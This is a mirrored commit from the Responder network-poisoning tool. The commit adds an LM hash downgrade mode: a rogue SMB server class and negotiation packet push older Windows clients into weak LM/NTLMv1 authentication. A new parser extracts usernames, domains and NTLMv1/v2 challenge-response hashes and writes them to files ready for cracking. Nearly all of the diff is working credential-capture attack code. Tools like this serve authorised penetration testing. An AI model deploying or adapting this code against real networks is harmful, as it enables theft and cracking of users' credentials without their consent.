mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-30 03:28:45 -07:00
Added support for LM hash downgrade. Default still NTLMSSP.
This commit is contained in:
parent
1c47e7fcb1
commit
09f8f7230d
2 changed files with 183 additions and 9 deletions
120
Responder.py
120
Responder.py
|
@ -51,6 +51,8 @@ parser.add_option('-D','--dns', action="store", dest="DNS_On_Off", help = "Set t
|
|||
|
||||
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is On", metavar="On", choices=['On','Off'], default="On")
|
||||
|
||||
parser.add_option('--lm',action="store", help="Set this to 1 if you want to force LM hashing downgrade for Windows <= 5.2. Default value is False (0)", metavar="0",dest="LM_On_Off", choices=['0','1'], default="0")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.OURIP is None:
|
||||
|
@ -79,6 +81,7 @@ LDAP_On_Off = options.LDAP_On_Off.upper()
|
|||
Finger_On_Off = options.Finger.upper()
|
||||
DNS_On_Off = options.DNS_On_Off.upper()
|
||||
WPAD_On_Off = options.WPAD_On_Off.upper()
|
||||
LM_On_Off = options.LM_On_Off.upper()
|
||||
Wredirect = options.Wredirect
|
||||
NumChal = options.optChal
|
||||
|
||||
|
@ -100,7 +103,7 @@ Challenge = ""
|
|||
for i in range(0,len(NumChal),2):
|
||||
Challenge += NumChal[i:i+2].decode("hex")
|
||||
|
||||
Show_Help("[+]NBT-NS & LLMNR responder started\nGlobal Parameters set\nChallenge set is: %s\nWPAD Proxy Server is:%s\nHTTP Server is:%s\nSMB Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\n"%(NumChal,WPAD_On_Off,On_Off,SMB_On_Off,SQL_On_Off,FTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off))
|
||||
Show_Help("[+]NBT-NS & LLMNR responder started\nGlobal Parameters set:\nChallenge set is: %s\nWPAD Proxy Server is:%s\nHTTP Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\n"%(NumChal,WPAD_On_Off,On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off))
|
||||
|
||||
#Simple NBNS Services.
|
||||
W_REDIRECT = "\x41\x41\x00"
|
||||
|
@ -251,6 +254,13 @@ def Is_Anonymous(data):
|
|||
else:
|
||||
return False
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
DialectStart = data[40:]
|
||||
|
@ -288,6 +298,7 @@ def ParseShare(data):
|
|||
print quote.replace('\x00','')
|
||||
logging.warning(quote.replace('\x00',''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
|
@ -300,7 +311,7 @@ def ParseSMBHash(data,client):
|
|||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
if SecBlobLen > 220:
|
||||
SSPIStart = data[79:]#LenOfLen set for ASN...
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
@ -341,8 +352,55 @@ def ParseSMBHash(data,client):
|
|||
print "[+]SMB complete hash is :", writehash
|
||||
logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(writehash))
|
||||
|
||||
#Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data,client):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen > 25:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client))
|
||||
print "[+]SMB-NTLMv2 hash captured from :",client
|
||||
outfile = "SMB-NTLMv2-Client-"+client+".txt"
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper()
|
||||
WriteData(outfile,Writehash)
|
||||
print "[+]SMB-NTLMv2 complete hash is :",Writehash
|
||||
logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash))
|
||||
print "Username : ",Username
|
||||
logging.warning('[+]SMB-NTLMv2 Username:%s'%(Username))
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
logging.warning('[+]SMB-NTLMv2 Domain (if joined, if not then computer name) :%s'%(Domain))
|
||||
if NthashLen == 24:
|
||||
print "[+]SMB-NTLMv1 hash captured from : ",client
|
||||
logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client))
|
||||
outfile = "SMB-NTLMv1-Client-"+client+".txt"
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal
|
||||
WriteData(outfile,writehash)
|
||||
print "[+]SMB complete hash is :", writehash
|
||||
logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
|
||||
print "Username : ",Username
|
||||
logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username))
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain))
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
quote = "Share requested: "+a.group(0)
|
||||
print quote.replace('\x00','')
|
||||
logging.warning(quote.replace('\x00',''))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
def IsNT4ClearTxt(data):
|
||||
HeadLen = 36 #32 + nbnss(4)
|
||||
HeadLen = 36
|
||||
Flag2 = data[14:16]
|
||||
if Flag2 == "\x03\x80":
|
||||
SmbData = data[HeadLen+14:]
|
||||
|
@ -356,7 +414,7 @@ def IsNT4ClearTxt(data):
|
|||
print "[SMB]Clear Text Credentials: %s:%s" %(User,Password)
|
||||
logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password))
|
||||
|
||||
#SMB Server class.
|
||||
#SMB Server class, NTLMSSP
|
||||
class SMB1(SocketServer.BaseRequestHandler):
|
||||
def server_bind(self):
|
||||
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
|
||||
|
@ -368,7 +426,7 @@ class SMB1(SocketServer.BaseRequestHandler):
|
|||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(2)
|
||||
self.request.settimeout(1)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
|
@ -459,6 +517,51 @@ class SMB1(SocketServer.BaseRequestHandler):
|
|||
except Exception:
|
||||
pass #no need to print errors..
|
||||
|
||||
#SMB Server class, old version.
|
||||
class SMB1LM(SocketServer.BaseRequestHandler):
|
||||
def server_bind(self):
|
||||
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
|
||||
self.socket.bind(self.server_address)
|
||||
self.socket.setblocking(0)
|
||||
self.socket.setdefaulttimeout(0.5)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),mid=midcalc(data))
|
||||
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass #no need to print errors..
|
||||
self.request.close()
|
||||
|
||||
##################################################################################
|
||||
#SQL Stuff
|
||||
##################################################################################
|
||||
|
@ -682,6 +785,7 @@ class DNS(SocketServer.BaseRequestHandler):
|
|||
#HTTP Stuff
|
||||
##################################################################################
|
||||
from HTTPPackets import *
|
||||
from HTTPProxy import *
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
|
@ -821,7 +925,6 @@ class HTTP(SocketServer.BaseRequestHandler):
|
|||
##################################################################################
|
||||
#HTTP Proxy Stuff
|
||||
##################################################################################
|
||||
from HTTPProxy import *
|
||||
|
||||
def GrabHost(data,host):
|
||||
Host = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
|
@ -1065,7 +1168,10 @@ def Is_WPAD_On(on_off):
|
|||
#Function name self-explanatory
|
||||
def Is_SMB_On(SMB_On_Off):
|
||||
if SMB_On_Off == "ON":
|
||||
return thread.start_new(serve_thread_tcp, ('', 445,SMB1)),thread.start_new(serve_thread_tcp,('', 139,SMB1))
|
||||
if LM_On_Off == "1":
|
||||
return thread.start_new(serve_thread_tcp, ('', 445,SMB1LM)),thread.start_new(serve_thread_tcp,('', 139,SMB1LM))
|
||||
else:
|
||||
return thread.start_new(serve_thread_tcp, ('', 445,SMB1)),thread.start_new(serve_thread_tcp,('', 139,SMB1))
|
||||
if SMB_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
|
|
|
@ -75,6 +75,39 @@ class SMBHeader(Packet):
|
|||
("mid", "\x00\x00"),
|
||||
])
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer LM packet.
|
||||
class SMBNegoAnsLM(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x41\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfc\x3e\x01\x00"),
|
||||
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("Srvtimezone", "\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", ""),
|
||||
("Domain", "SMB"),
|
||||
("DomainNull", "\x00\x00"),
|
||||
("Server", "SMB-TOOLKIT"),
|
||||
("ServerNull", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##Convert first..
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
||||
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer LM packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
|
@ -322,9 +355,44 @@ class SMBTreeData(Packet):
|
|||
def calculate(self):
|
||||
#Complete Packet Len
|
||||
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
|
||||
## AndXOffset
|
||||
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
|
||||
## BCC Len Calc
|
||||
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<H", len(BccLen))
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
|
||||
##BCC 1 and 2
|
||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue